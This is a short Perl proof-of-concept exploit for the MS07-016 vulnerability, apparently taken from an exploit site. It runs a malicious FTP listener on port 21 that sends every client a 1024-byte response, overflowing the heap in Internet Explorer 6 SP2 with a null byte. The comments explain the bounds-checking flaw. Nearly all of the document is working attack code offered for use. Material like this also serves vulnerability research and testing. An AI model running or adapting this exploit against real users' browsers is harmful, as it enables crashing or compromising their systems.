| #!/usr/bin/perl
# MS 07-016 FTP Server Response PoC # Usage: ./ms07016ftp.pl [LISTEN_IP] # # Tested Against: MSIE 6.02900.2180 (SP2) # # Details: The response is broken into buffers, either at length 1024, # or at '\r\n'. Each buffer is apended with \x00, without # bounds checking. If the response is exctly 1024 characters # in length, you will overflow the heap with the string \x00. use IO::Socket; use strict; # Create listener my $ip=shift || '127.0.0.1'; my $sock = IO::Socket::INET->new(Listen=>1, LocalHost=>$ip, LocalPort=>'21', Proto=>'tcp'); $sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n"); # Wait for initial connection and send banner my $sock_in = $sock->accept(); print $sock_in "220 waa waa wee waa\r\n"; # Send response code with total lenght of response = 1024 while (<$sock_in>){ my $response; if($_ eq "USER") { $response="331 ";} elsif($_ eq "PASS") { $response="230 ";} elsif($_ eq "syst") { $response="215 ";} elsif($_ eq "CWD") { $response="250 ";} elsif($_ eq "PWD") { $response="230 ";} else { $response="200 ";} print $sock_in $response."A"x(1024-length($response)-2)."\r\n"; } close($sock); //http://www.heibai.net |
